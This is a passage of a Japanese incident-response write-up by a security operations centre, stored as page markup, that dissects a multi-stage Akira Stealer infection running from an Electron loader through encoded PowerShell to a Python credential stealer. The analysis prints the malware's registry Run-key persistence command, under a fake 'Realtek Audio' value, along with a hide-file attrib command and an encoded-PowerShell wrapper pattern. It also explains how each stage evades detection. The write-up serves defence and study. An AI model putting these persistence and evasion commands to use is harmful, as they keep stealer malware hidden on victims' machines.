迅速、透明、成果重視",[526,817,747],{},[526,819,820],{},"当社の対応は、スピード、専門性、オペレーションの質を組み合わせたものでした。実証済みのワークフローと、お客様に対する完全な可視性がその裏付けになっています。",[631,822,823,829,835,841],{},[634,824,825,828],{},[567,826,827],{},"検知から完全封じ込めまで90分未満","\nDefenderのアラート、ネットワーク隔離、ウイルス対策スキャン、認証情報の失効を、迅速かつ連携して実行しました。",[634,830,831,834],{},[567,832,833],{},"48時間以内のディープダイブ・フォレンジック対応","\nディスクとメモリの完全分析、ブラウザーアーティファクトのレビュー、認証情報ダンプの検出、攻撃者の活動の振る舞い再構築を含みます。",[634,836,837,840],{},[567,838,839],{},"安全なデータ復旧と証拠の取り扱い","\n盗まれたデータ（Cookie、パスワード、トークン、ブラウザープロファイルなど）を復旧し、フォレンジック的に保全して、お客様へ安全に引き渡しました。",[634,842,843,846],{},[567,844,845],{},"エンドツーエンドの可視性とコミュニケーション","\n最初のアラートから修復とデブリーフィングまで、すべてのステップを完全に文書化し、リアルタイムで共有し、構造化されたCSIRTハンドオーバーとしてまとめました。",[848,849,850],"blockquote",{},[526,851,852],{},"このインシデントは、glueckkanja CSOCがマルウェアを止めるだけで終わらないことを示しています。当社はその影響を解体し、お客様に制御を取り戻し、あらゆるインシデントをインサイトへと変えます。",[854,855],"div",{"className":856},[857,858],"space-top-1","space-bottom-1",[557,860,862],{"id":861},"_2-マルウェアのアーキテクチャと実行チェーンの概要","2. マルウェアのアーキテクチャと実行チェーンの概要",[526,864,562],{},[526,866,867],{},"該当エンドポイントで観測されたマルウェアは、責務が明確に分離された多段構成のアーキテクチャに従っていました。配備、デコード、実行、そしてデータ持ち出しです。",[741,869,871],{"id":870},"_21-実行チェーンの概要","2.1 実行チェーンの概要",[526,873,747],{},[526,875,876],{},"観測された実行フローは次のとおりです。",[526,878,602],{},[616,880,883],{"className":881,"code":882,"language":621},[619],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[578,884,882],{"__ignoreMap":530},[526,886,887],{},"チェーン内の各コンポーネントは、ステルス性、モジュール性、回避性に寄与していました。このアーキテクチャは、正規のランタイムと標準のOSインタープリターを利用して検出メカニズムを迂回していました。",[889,890,892],"h3",{"id":891},"_211-起点の不確実性-初期侵入経路の欠落","2.1.1 起点の不確実性: 初期侵入経路の欠落",[526,894,895],{},"{: .font-size-4}",[526,897,898,899,902,903,906],{},"侵害後の環境を広範囲に分析したにもかかわらず、初期侵入経路を確定することはできませんでした。この不確実性は主に、マルウェアが ",[567,900,901],{},"検知までの推定6か月間"," 活動し続けていたことに起因します。これは ",[567,904,905],{},"Microsoft Defender for Endpointが強制するログ保持期間"," を超えていました。",[526,908,909],{},"その結果、最初に感染した時点のテレメトリやフォレンジックアーティファクトは一切得られませんでした。配布段階に関連する初期のプロセス生成イベント、ファイルのドロップ、コマンドラインの記録は、Defenderのタイムラインからも関連センサーからも復元できませんでした。",[526,911,912],{},"文脈上の指標とOSINTの情報源から、感染経路としては次のものが考えられます。",[631,914,915,921,928],{},[634,916,917,918],{},"クラックまたは改造されたゲームソフトウェアの ",[567,919,920],{},"トロイの木馬化されたインストーラー",[634,922,923,924,927],{},"フォーラムやサードパーティサイトで配布される ",[567,925,926],{},"偽のユーティリティ"," や「パフォーマンスブースター」",[634,929,930,931],{},"特定のユーザーの関心（暗号資産関連ツールやDiscordの拡張機能など）を狙った ",[567,932,933],{},"悪意のあるブラウザー拡張機能",[526,935,936],{},"ただし、これらはいずれも推測の域を出ません。",[526,938,939,940,943],{},"調査中に、確定的なドロッパー、フィッシングメール、侵害されたWebサイトを特定することはできませんでした。マルウェアのアーキテクチャと実行チェーンは完全に再構築できたものの、",[567,941,942],{},"最初の侵害点（MITRE ATT&CK T1190 / T1566）"," は検証できませんでした。",[889,945,947,948,950],{"id":946},"_212-updaterexe-初期ローダー","2.1.2 ",[578,949,602],{}," – 初期ローダー",[526,952,895],{},[526,954,955,956,958],{},"Microsoft 365 Defenderでプロセスツリーを確認したとき、",[578,957,602],{}," はすぐに目を引きました。それが何をしたかではなく、どれほど静かにシステムの実行フローへ自らを組み込んでいたかが理由です。",[526,960,961],{},"このバイナリは、標準のWindows Runキーを介して自動実行に登録されていました。",[616,963,966],{"className":964,"code":965,"language":621},[619],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[578,967,965],{"__ignoreMap":530},[526,969,970],{},"つまり、ユーザーがセッションにログオンするたびに起動されるということです。管理者権限を必要とせず、EDRのテレメトリでも見過ごされがちな、古典的な永続化メカニズムです。",[631,972,973,979,985,991,997],{},[634,974,975,978],{},[567,976,977],{},"ファイル種別",": Windows PE実行ファイル（32ビット）",[634,980,981,984],{},[567,982,983],{},"署名",": なし",[634,986,987,990],{},[567,988,989],{},"VirusTotalの検出",": トリアージ時点で69個中1個のエンジン",[634,992,993,996],{},[567,994,995],{},"実行コンテキスト",": 中程度の整合性レベル、ユーザーセッション",[634,998,999,1002,1003],{},[567,1000,1001],{},"配置場所",": ",[578,1004,1005],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[526,1007,1008],{},"ファイル自体は小さく、きれいにコンパイルされており、静的解析の観点では取り立てて特徴がありませんでした。不審な文字列も、暗号化されたセクションも、難読化やパッキングの痕跡もありません。インポートしているのは最小限の標準Windows API関数だけで、ペイロードは埋め込まれていませんでした。",[526,1010,1011,1012,1014,1015,1017],{},"しかし、その振る舞いのほうが雄弁でした。起動されると ",[578,1013,602],{}," は、同梱のアーカイブからElectronアプリケーションを展開しました。標準のElectronツールでパッケージされた、自己完結型のNodeJSランタイムです。展開されたフォルダーには ",[578,1016,606],{}," という実行ファイルが含まれ、これが子プロセスとして起動されました。",[616,1019,1022],{"className":1020,"code":1021,"language":621,"meta":530},[619],"Updater.exe → main.exe\n",[578,1023,1021],{"__ignoreMap":530},[526,1025,1026,1027,1029,1030,1032],{},"この段階ではネットワークの指標も、プロセスインジェクションも、権限やトークン昇格の異常もありませんでした。",[578,1028,602],{}," の役割はすべてローダーとしてのものに見えます。第2段階のコンポーネント（",[578,1031,606],{},"）を環境へ送り込むことであり、その狙いはステルス性とモジュール性の維持だと考えられます。",[526,1034,1035],{},"この種のアーキテクチャ上の分離は、現代のコモディティマルウェアやスティーラーツールキットでは一般的です。初期ローダーは単なる配備用スタブとして働き、より重いロジック（多くは難読化され、インタープリターで実行され、あるいは動的に生成されます）を後続の段階に閉じ込めます。",[526,1037,1038,1039,1041,1042,1044,1045,1047],{},"今回の事案で ",[578,1040,602],{}," はまさにその役目を果たしました。周囲に溶け込み、検出されず、",[578,1043,606],{}," そして最終的に ",[578,1046,613],{}," にある本来のスティーラーロジックの実行への道を整える、静かな最初の足がかりです。",[526,1049,1050],{},"自身のディレクトリを越えてファイルシステムに触れることはなく、振る舞いルールも一切発動させませんでした。それでもこれは、長く周到に構築された攻撃チェーンの最初のドミノでした。",[889,1052,1054,1055,1057],{"id":1053},"_213-mainexe-難読化されたnodejsペイロードコンテナー","2.1.3 ",[578,1056,606],{}," – 難読化されたNodeJSペイロードコンテナー",[526,1059,895],{},[526,1061,1062,1064,1065,1067],{},[578,1063,602],{}," の実行に続いて、",[578,1066,606],{}," という第2段階のバイナリが起動されました。このコンポーネントは標準的なElectronアプリケーションの体裁をとっていました。Node.jsとChromiumを同梱したランタイム環境で、クロスプラットフォームのデスクトップアプリによく使われるものです。その無害さこそが、悪用されたときに危険である理由の一部です。",[526,1069,1070,1071,1073,1074,1077],{},"調べてみると、",[578,1072,606],{}," には ",[578,1075,1076],{},"app.asar"," という内部アーカイブが含まれていました。Electronベースのアプリケーションで標準的に使われるパッケージ形式です。ただし正規のElectronアプリとは違い、このアーカイブの中身はまったく普通ではありませんでした。",[631,1079,1080,1086,1092,1100],{},[634,1081,1082,1085],{},[567,1083,1084],{},"プラットフォーム",": Electron（Node.js + Chromium）",[634,1087,1088,1091],{},[567,1089,1090],{},"アーキテクチャ",": 64ビットWindows",[634,1093,1094,1002,1097,1099],{},[567,1095,1096],{},"コンテンツ構造",[578,1098,1076],{}," 内に埋め込まれたJavaScriptファイル",[634,1101,1102,1105,1106,1109],{},[567,1103,1104],{},"難読化レベル",": 高。JavaScript向けの商用難読化ツールキット ",[578,1107,1108],{},"js-confuser"," を使用",[526,1111,1112,1113,1115],{},"逆コンパイルと難読化解除を行うと、",[578,1114,606],{}," の中核ロジックが明らかになりました。その目的はGUIの表示でもフロントエンドロジックの実行でもなく、隠れた実行オーケストレーターとして振る舞うことでした。",[526,1117,1118],{},[567,1119,1120],{},"観測された振る舞い:",[631,1122,1123,1126,1132],{},[634,1124,1125],{},"JavaScriptペイロード内に格納されたBase64エンコード済みのPowerShellコマンドを復号し、再構成する",[634,1127,1128,1131],{},[578,1129,1130],{},"cmd.exe"," を生成し、そのPowerShellコマンドをインラインで実行する",[634,1133,1134,1135,1137,1138,1141],{},"そのPowerShellコマンドが今度は ",[578,1136,580],{}," を呼び出し、一見無害に見えるディレクトリ構造（",[578,1139,1140],{},"Crypto\\Util\\astor.py","）に置かれたスクリプトを渡す",[616,1143,1146],{"className":1144,"code":1145,"language":621,"meta":530},[619],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[578,1147,1145],{"__ignoreMap":530},[526,1149,1150],{},"この連鎖により、攻撃者は実行コンテキストを切り替え、単純な検出を回避できました。ペイロードは難読化され、メモリ上でステージングされていたため、従来のシグネチャベースの対策は効きませんでした。",[526,1152,1153],{},"Electronフレームワークは理想的な隠れみのとなり、精査を避けつつ任意のJavaScriptを実行できるようにしました。JavaScriptベースの実行はクロスプラットフォーム互換性ももたらし、柔軟な配備と動的な制御ロジックの組み込みを容易にしていました。",[526,1155,1156,1158],{},[578,1157,606],{}," を特に危険にしていたのは、すでにステージング済みのもの以外に追加のファイルを一切落とさずに動作できる点です。スティーラースクリプトはディスクから直接呼び出されましたが、ステージングと実行のロジックはすべてElectronバンドル内に埋め込まれたままでした。",[526,1160,1161,1162,1164,1165,1167],{},"まとめると、",[578,1163,606],{}," は難読化された多層の実行コアとして機能し、初期の永続化と ",[578,1166,613],{}," におけるAkira Stealerペイロードの完全な起動との間に立つゲートキーパーの役割を担っていました。",[889,1169,1171,1172,1174],{"id":1170},"_214-cmdexe-とpowershellの中継","2.1.4 ",[578,1173,1130],{}," とPowerShellの中継",[526,1176,895],{},[526,1178,1179],{},"実行チェーンのこの段階は中継役として機能しました。ペイロードのロジックのためではなく、難読化と間接化のためです。",[526,1181,1182,1184,1185,1187,1188,1191],{},[578,1183,606],{}," がペイロードの展開とデコードという役目を終えると、",[578,1186,1130],{}," プロセスを生成しました。このプロセス自体は悪意のあるロジックを持たず、ファイルの書き込みや変更も行いません。唯一の目的は、",[567,1189,1190],{},"エンコードされたコマンド"," を伴うPowerShellセッションを起動するためのラッパーになることでした。",[526,1193,1194],{},"この手法は、可視性を下げて検出を避けるための定番の戦術です。",[631,1196,1197,1209],{},[634,1198,1199,1202,1203],{},[567,1200,1201],{},"実行チェーン",":",[616,1204,1207],{"className":1205,"code":1206,"language":621},[619],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[578,1208,1206],{"__ignoreMap":530},[634,1210,1211,1202,1214],{},[567,1212,1213],{},"目的",[631,1215,1216,1219,1222],{},[634,1217,1218],{},"PowerShellの実行を追加のシェルで包み込む",[634,1220,1221],{},"実際のPowerShellコードがログ上で直接見えないようにする",[634,1223,1224,1225,1228],{},"不審なパラメーターを伴う ",[578,1226,1227],{},"powershell.exe"," の直接実行に反応するEDRを回避する",[526,1230,1231,1232,1234],{},"PowerShellスクリプトをBase64エンコードされた文字列として埋め込み、",[578,1233,1130],{}," 経由で呼び出すことで、攻撃者は複数の検出手段を回避しました。",[631,1236,1237,1242,1247],{},[634,1238,1239],{},[567,1240,1241],{},"コマンドラインのヒューリスティックフィルター",[634,1243,1244],{},[567,1245,1246],{},"標準のログ記録（Event ID 4104、4688など）",[634,1248,1249],{},[567,1250,1251,647,1254,1257,1258,1260],{},[578,1252,1253],{},"-NoProfile",[578,1255,1256],{},"-ExecutionPolicy Bypass","、インラインスクリプトといった ",[578,1259,1227],{}," の引数に対するルールベースの検出",[526,1262,1263,1264,1266,1267,1269],{},"注目すべき点として、このPowerShellコマンドは最小限に保たれ、埋め込まれたスティーラースクリプト ",[578,1265,613],{}," へのパスを指定して ",[578,1268,580],{}," を起動することだけに集中していました。追加のモジュールは読み込まれず、メモリ上に明白なシグネチャも存在しませんでした。",[526,1271,1272],{},"この中継テクニックは、レッドチーミングでも高度な情報窃取型マルウェアでもよく使われます。実装が容易でありながら、テレメトリの相関分析なしでは捕捉しにくい、軽量な回避レイヤーとして機能します。",[526,1274,1038,1275,1277],{},[578,1276,1130],{}," はまさにその役目を果たしました。JavaScriptのロジックとPython実行との間をつなぐ、単純で静かな橋渡しです。それは、あやうく見過ごされるところでした。",[889,1279,1281,1282,1284,1285],{"id":1280},"_215-astorpy-を伴う-pythonexe","2.1.5 ",[578,1283,613],{}," を伴う ",[578,1286,580],{},[526,1288,895],{},[526,1290,1291,1292,1294,1295,1297],{},"実行チェーンの最終段階であり、最も影響の大きい段階は、",[578,1293,580],{}," が ",[578,1296,613],{}," を呼び出したときに訪れました。完全にメモリ上で動作する、Pythonベースのモジュール型情報窃取ツールです。このスクリプトは攻撃チェーン全体の運用上の中核でした。",[526,1299,1300,1301,1303],{},"多くのコモディティスティーラーとは異なり、",[578,1302,613],{}," は平文で配備されていませんでした。多層の復号メカニズムで保護されていたのです。",[631,1305,1306,1316],{},[634,1307,1308,1311,1312,1315],{},[567,1309,1310],{},"復号スタック",": ファイルはまずGZIPで圧縮され、その後 ",[567,1313,1314],{},"AES-256-CBC"," で暗号化されていました。",[634,1317,1318,1321],{},[567,1319,1320],{},"鍵導出",": PBKDF2ベースの鍵導出プロセス（SHA-512、100万回の反復）が使われており、静的解析やブルートフォースは現実的でなくなっていました。",[526,1323,1324],{},"実行時に復号されると、このスクリプトはいくつもの専用モジュールを実行しました。いずれも機微なデータソースを狙うものです。",[526,1326,1327],{},[567,1328,1329],{},"中核となる機能",[631,1331,1332,1338,1348,1358],{},[634,1333,1334,1337],{},[567,1335,1336],{},"ブラウザーデータの抽出",": Chromiumベースのブラウザー（Chrome、Edge、Brave、Opera）からログイン認証情報、Cookie、オートフィルデータを取得",[634,1339,1340,1343,1344,1347],{},[567,1341,1342],{},"トークンの収集",": 特に ",[567,1345,1346],{},"Discord"," からセッショントークンを収集し、暗号資産ウォレットの拡張機能をスキャン",[634,1349,1350,1353,1354,1357],{},[567,1351,1352],{},"データのパッケージング",": 収集したすべてのデータを構造化された ",[567,1355,1356],{},"ZIPアーカイブ"," に集約し、攻撃者側での解析に備えてディレクトリとファイルの文脈を保持",[634,1359,1360,1363],{},[567,1361,1362],{},"持ち出し",": 生成されたアーカイブを公開APIとインフラへアップロード",[526,1365,1366],{},[567,1367,995],{},[526,1369,1370],{},"スティーラーのロジックはすべてメモリ上で実行され、永続的なファイルはディスクに書き込まれませんでした。残るテレメトリの痕跡は、プロセス内のメモリアーティファクトと標準的なサブプロセス呼び出しの程度にとどまります。この段階では永続化の試みは一切行われていません。狙いは、素早く、効率的で、静かなデータ窃取でした。",[526,1372,1373],{},"持ち出しに正規のAPIを使っていたことも、検出と防御を大幅に難しくしました。外向きの通信が日常的なインターネット利用に紛れてしまうからです。",[526,1375,1376,1377,1379],{},"この段階で最終的に、マルウェアの正体が確定しました。",[567,1378,677],{}," の亜種であり、次の特徴で知られています。",[631,1381,1382,1385,1388,1391],{},[634,1383,1384],{},"高いモジュール性",[634,1386,1387],{},"実行時の難読化",[634,1389,1390],{},"Telegram経由での商用配布",[634,1392,1393],{},"認証情報の収集とトークンベースのセッションハイジャックへの強い注力",[526,1395,1396,1397,1399],{},"先行する各段階と合わせて、",[578,1398,613],{}," はステルス性が高く巧妙に設計された情報窃取チェーンの決定的な終端を形成していました。以降のセクションでは、このコンポーネントをさらに分解し、当社がどのようにそのロジックを解析し、インフラをマッピングし、その運用で使われた侵害指標をすべて復元したのかを説明します。",[557,1401,1403,1404],{"id":1402},"_3-ディープダイブ-updaterexe","3. ディープダイブ: ",[578,1405,602],{},[526,1407,562],{},[526,1409,1410,1412],{},[578,1411,602],{}," は、侵害後の分析で最初に観測されたバイナリです。中立的な見た目と、ごくわずかな検出実績しか持たないにもかかわらず、マルウェアの運用上の永続性を維持し、次の段階のペイロードを届けるうえで決定的な役割を果たしていました。",[741,1414,1416],{"id":1415},"_31-プロパティ","3.1 プロパティ",[526,1418,747],{},[1420,1421,1422,1435],"table",{},[1423,1424,1425],"thead",{},[1426,1427,1428,1432],"tr",{},[1429,1430,1431],"th",{},"プロパティ",[1429,1433,1434],{},"値",[1436,1437,1438,1449,1459,1469,1479,1489],"tbody",{},[1426,1439,1440,1446],{},[1441,1442,1443],"td",{},[567,1444,1445],{},"形式:",[1441,1447,1448],{},"Windows Portable Executable (PE32)",[1426,1450,1451,1456],{},[1441,1452,1453],{},[567,1454,1455],{},"アーキテクチャ:",[1441,1457,1458],{},"x86-64",[1426,1460,1461,1466],{},[1441,1462,1463],{},[567,1464,1465],{},"サイズ:",[1441,1467,1468],{},"約154 KB",[1426,1470,1471,1476],{},[1441,1472,1473],{},[567,1474,1475],{},"エントロピー:",[1441,1477,1478],{},"通常（非パック）",[1426,1480,1481,1486],{},[1441,1482,1483],{},[567,1484,1485],{},"署名:",[1441,1487,1488],{},"なし",[1426,1490,1491,1496],{},[1441,1492,1493],{},[567,1494,1495],{},"VirusTotalの検出:",[1441,1497,1498],{},"分析時点で1/69",[526,1500,1501],{},"このファイルはインポートテーブルがきれいで、埋め込み文字列の指標もありませんでした。既知のパッカー、クリプター、実行時難読化のメカニズムは検出されていません。構造はカスタムコンパイルされたバイナリと整合していました。",[741,1503,1505],{"id":1504},"_32-振る舞いの分析","3.2 振る舞いの分析",[526,1507,747],{},[526,1509,1510],{},[567,1511,1512],{},"ユーザー操作は不要",[526,1514,1515,1516,1518],{},"このマルウェアチェーンは、ユーザーの操作を一切必要とせずに実行されました。Defenderのプロセステレメトリによれば、初期バイナリ（",[578,1517,602],{},"）は自動的に起動されており、レジストリの自動実行キーのような永続化メカニズムによるものと考えられます。ただし侵害からの経過期間と過去のイベントログの欠落により、永続化の正確な手法は復元できませんでした。",[526,1520,1521],{},[567,1522,1523],{},"サイレントな実行とステージング",[526,1525,1526,1527,1529,1530,1532],{},"実行されると ",[578,1528,602],{}," は、ウィンドウもユーザーへの確認も表示せずに直ちに ",[578,1531,606],{}," を起動しました。ステージングはバックグラウンドで静かに進行しました。ユーザーの同意ダイアログ、UACプロンプト、GUIコンポーネントの痕跡はありません。",[526,1534,1535],{},[567,1536,1537],{},"ペイロード配備の振る舞い",[526,1539,1540,1542],{},[578,1541,606],{}," はElectronアプリケーション構造の一部であることが分かりましたが、その配備の正確な出所は不明のままです。次のいずれかであると想定されます。",[631,1544,1545,1551],{},[634,1546,1547,1548,1550],{},"ペイロードが ",[578,1549,602],{}," の内部に同梱されていた（埋め込みリソースなど）、または",[634,1552,1553],{},"リモートの配布元から取得された",[526,1555,1556],{},"ネットワークテレメトリが存在せず、ハードコードされたURLも復元できなかったため、Electronアプリの配布経路は確定できませんでした。",[526,1558,1559],{},[567,1560,1561],{},"プロセスチェーンの振る舞い",[526,1563,1526,1564,1566,1567,1569],{},[578,1565,602],{}," は ",[578,1568,606],{}," を子プロセスとして生成しました。呼び出しは非対話的で、チェーンから生成されたプロセスはいずれもUIの動作を示しませんでした。プロセスチェーンは想定どおりに続きました。",[616,1571,1574],{"className":1572,"code":1573,"language":621},[619],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[578,1575,1573],{"__ignoreMap":530},[526,1577,1578],{},"すべての実行段階はユーザー入力を必要とせず、事前に設定された起動ロジックとサイレントな実行パスだけに依存していました。これにより露出が最小限に抑えられ、マルウェアは長期間にわたって検出されずに済んだのです。",[741,1580,1582],{"id":1581},"_33-感染チェーンにおける役割","3.3 感染チェーンにおける役割",[526,1584,747],{},[526,1586,1587,1589,1590,1593,1594,1596],{},[578,1588,602],{}," は、より広い感染チェーンの中で ",[567,1591,1592],{},"単一ではあるが不可欠な役割"," を果たしていました。第2段階のコンポーネント ",[578,1595,606],{}," の永続化と再配備です。",[526,1598,1599],{},[567,1600,1601],{},"確認された特性",[631,1603,1604,1610,1615],{},[634,1605,1606,1607],{},"悪意のあるロジックを直接含んでも実行しても ",[567,1608,1609],{},"いませんでした",[634,1611,1612,1613],{},"データの持ち出しは一切行って ",[567,1614,1609],{},[634,1616,1617,1618],{},"ブラウザーの認証情報ストアや機微なユーザーデータには触れて ",[567,1619,1609],{},[526,1621,1622,1623,1625],{},"その唯一の目的は、ユーザーのログオン時に ",[578,1624,606],{}," を静かに起動することでした。永続化の手法としてはレジストリの自動実行エントリが最も有力です（テレメトリの制約から直接の復元はできていません）。",[526,1627,1628,1629,1631,1632,1634],{},"独立した第1段階のローダーとして振る舞うことで、",[578,1630,602],{}," は本来のスティーラーペイロード（",[578,1633,613],{},"）を実行のより深い層に隠し続けました。この責務の分離により、攻撃者は次のことが可能になりました。",[631,1636,1637,1640,1643],{},[634,1638,1639],{},"静的なAVやサンドボックスによる相関付けを避ける",[634,1641,1642],{},"ローダーを変更せずにペイロードを差し替えたり更新したりする",[634,1644,1645],{},"侵入口における振る舞いのシグナルを減らす",[526,1647,1648,1649,1652],{},"このパターンは ",[567,1650,1651],{},"マルウェア・アズ・ア・サービス（MaaS）"," の運用に典型的で、配布メカニズムは汎用的に、ペイロードはモジュール式または顧客ごとに用意されます。",[526,1654,1038,1655,1657],{},[578,1656,602],{}," は、信頼できるステルスな侵入口として機能するのにちょうど足りるだけのロジックを提供していました。それ以上でも、それ以下でもありません。",[741,1659,1661],{"id":1660},"_34-レジストリによる永続化astorpyで確認","3.4 レジストリによる永続化（astor.pyで確認）",[526,1663,747],{},[526,1665,1666,1667,1669],{},"Pythonペイロードの静的解析から、",[578,1668,602],{}," がレジストリの自動実行エントリによって明示的に永続化されていることが分かりました。",[631,1671,1672,1680,1688],{},[634,1673,1674,1002,1677],{},[567,1675,1676],{},"レジストリパス",[578,1678,1679],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[634,1681,1682,1002,1685],{},[567,1683,1684],{},"値の名前",[578,1686,1687],{},"Realtek Audio",[634,1689,1690,1002,1693],{},[567,1691,1692],{},"ペイロードのパス",[578,1694,1695],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[526,1697,1698],{},"対応するレジストリコマンドはPowerShell経由で実行されます。",[616,1700,1704],{"className":1701,"code":1702,"language":1703,"meta":530,"style":530},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[578,1705,1706],{"__ignoreMap":530},[1707,1708,1711],"span",{"class":1709,"line":1710},"line",1,[1707,1712,1702],{},[526,1714,1715],{},"これにより、ユーザーがログオンするたびにマルウェアが起動されます。さらに検出を避けるため、ファイルには隠しファイル属性とシステム属性が付与されます。",[616,1717,1719],{"className":1701,"code":1718,"language":1703,"meta":530,"style":530},"attrib +h +s \"Updater.exe\"\n",[578,1720,1721],{"__ignoreMap":530},[1707,1722,1723],{"class":1709,"line":1710},[1707,1724,1718],{},[526,1726,1727],{},"この永続化メカニズムはastor.pyのコードに直接埋め込まれており、最終段階のスティーラーがディスク上とスタートアップレジストリの両方でローダーの存在を能動的に維持していることを裏付けています。",[741,1729,1731],{"id":1730},"_35-まとめ","3.5 まとめ",[526,1733,747],{},[848,1735,1736],{},[526,1737,1738,1740],{},[578,1739,602],{}," は構造や内容の面で本質的に悪意があるわけではありませんでしたが、実行チェーンの中での文脈的な振る舞いが、マルウェアローダーとしての役割を裏付けました。",[854,1742],{"className":1743},[857],[526,1745,1746],{},"このバイナリは、クリーンでミニマルな第1段階のランチャーとして機能し、静的解析、AVエンジン、振る舞いルールによる検出を避けていました。その設計は悪意あるロジックの実行そのものではなく、ステルス性と運用上の支援だけに焦点を当てています。",[526,1748,1749,1750,1752,1753,1755,1756,1759],{},"しかし、その役割は初期配備にとどまりませんでした。",[578,1751,613],{}," ペイロードのリバースエンジニアリングの過程で、",[578,1754,602],{}," の存在を能動的に確認するロジックを特定しました。このチェックは、スティーラーのコード内に実装されたより広い ",[567,1757,1758],{},"ヘルスチェックと自己修復のサイクル"," の一部であり、感染チェーンの完全性を検証し、欠けたコンポーネントを必要に応じて復元するためのメカニズムでした。",[526,1761,1762,1763,1765,1766,1769],{},"つまり ",[578,1764,602],{}," は、マルウェアを起動する役目を担うだけでなく、",[567,1767,1768],{},"継続的なランタイム検証"," の一部も構成していたということです。このスタブがなければ、マルウェアは以後のセッションで再初期化する能力を失いかねませんでした。",[526,1771,1772],{},[567,1773,1774,1776],{},[578,1775,602],{}," の主な機能:",[631,1778,1779,1784,1789,1792],{},[634,1780,1781,1783],{},[578,1782,606],{}," のシームレスな配備",[634,1785,1786,1788],{},[578,1787,613],{}," の間接的な実行",[634,1790,1791],{},"ローダーとペイロードのロジックの分離",[634,1793,1794,1795],{},"運用上のヘルス監視の一部として ",[567,1796,1797],{},"ペイロード自身から参照される",[526,1799,1800],{},"セクション5では、自己修復の振る舞いと完全性検証のメカニズムを含め、スティーラーの内部ヘルスチェックルーチンを詳しく扱います。",[526,1802,1803,1804,1806],{},"現時点で明らかなのは、",[578,1805,602],{}," がこの多層の情報窃取アーキテクチャにおいて、点火装置であると同時に錨でもあったということです。",[741,1808,1810],{"id":1809},"_36-抽出のトリック-ローダーの裏をかく","3.6 抽出のトリック: ローダーの裏をかく",[526,1812,747],{},[526,1814,1815],{},"リバースエンジニアリングで最良の結果が得られるのは、必ずしも深いバイナリ逆アセンブルからとは限りません。ちょっとした仕掛けと忍耐から得られることもあります。",[526,1817,1818,1819,1821,1822,1824],{},"管理されたラボ環境で感染を分析していたとき、奇妙なことに気づきました。",[578,1820,602],{}," は存在して実行されているのに、",[578,1823,606],{}," がファイルシステムから消えていたのです。そこで思いつきました。マルウェアに自分自身を修復させたらどうなるだろう、と。",[526,1826,1827,1829,1830,1835],{},[578,1828,602],{}," はそのままに、感染環境から ",[567,1831,1832,1834],{},[578,1833,606],{}," を意図的に削除"," しました。すると案の定、次のユーザーセッションのログオン後、ローダーが動き出しました。癇癪を起こすでもなく、静かに第2段階を再構築しようとしたのです。",[526,1837,1838,1839,1566,1841,1843,1844,1847,1848,1851,1852,647,1854,1857,1858,1860],{},"ここからが興味深いところです。",[578,1840,602],{},[578,1842,606],{}," を直接作り直すのではなく、まず ",[578,1845,1846],{},"app-64.7z"," というファイルをドロップしました。標準的な ",[567,1849,1850],{},"7-Zipアーカイブ"," です。このアーカイブには、",[578,1853,606],{},[578,1855,1856],{},"resources","、そして埋め込まれたロジックをすべて含む ",[578,1859,1076],{}," ペイロードなど、Electronアプリケーションの完全な構造が入っていました。",[526,1862,1863,1864,1867],{},"私たちは事実上、",[567,1865,1866],{},"マルウェアにソースパッケージを差し出させた"," わけです。",[526,1869,1870],{},[775,1871],{"alt":1872,"src":1873},"Suspicious Updater Executable Detected","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[526,1875,1876],{},"この7zアーカイブを手にしたことで、元のローダーに再び触れることなく、JavaScriptベースのオーケストレーションロジックを抽出し、展開し、完全に解析できました。アーカイブの構造は、想定されるElectronアプリのレイアウトと完全に一致していました。",[526,1878,1879,1880,1883],{},"この振る舞いは、攻撃者が ",[567,1881,1882],{},"モジュール式で保守しやすいアーキテクチャ"," を意図的に選び、アーカイブを柔軟なペイロードコンテナーとして使っていたことを強く示唆します。ローダーのバイナリを再コンパイルせずに、ペイロードのコンポーネントを差し替えたり更新したりできるようにもなっていました。",[526,1885,1886],{},"そして当社の場合はどうだったか。彼らのチェーンの裏をかき、ドロップを傍受し、パッケージ一式を持ち帰ることができました。職人が見ていない隙に作業台から設計図を持ち出すようなものです。",[526,1888,1889,1890,1897],{},"こう言ってもいいでしょう。",[567,1891,1892,1893,1896],{},"最良のフォレンジックツールは ",[578,1894,1895],{},"del"," と待つことと、ほんの少しの好奇心である場合もある"," のです。",[557,1899,1901,1902],{"id":1900},"_4-ディープダイブ-powbat","4. ディープダイブ: ",[578,1903,1904],{},"pow.bat",[526,1906,562],{},[526,1908,1909,1910,1913],{},"分析対象のマルウェアキャンペーンにおいて、",[578,1911,1912],{},"Invoke-SharpLoader"," というコンポーネントは、きわめてモジュール性が高く回避的な実行フローを示す、カスタムのメモリ常駐型.NETローダーとして機能します。このセクションでは、その内部アーキテクチャ、AMSIパッチによるアンチ解析戦略、そして第2段階ペイロードを可能にする役割を分解します。",[741,1915,1917],{"id":1916},"_41-バイナリのプロパティ-sharploaderのバッチラッパー","4.1 バイナリのプロパティ – SharpLoaderのバッチラッパー",[526,1919,747],{},[526,1921,1922,1923,1925],{},".NETペイロードをメモリ上で読み込むために実行される前の時点で、外側のラッパー ",[578,1924,1904],{}," 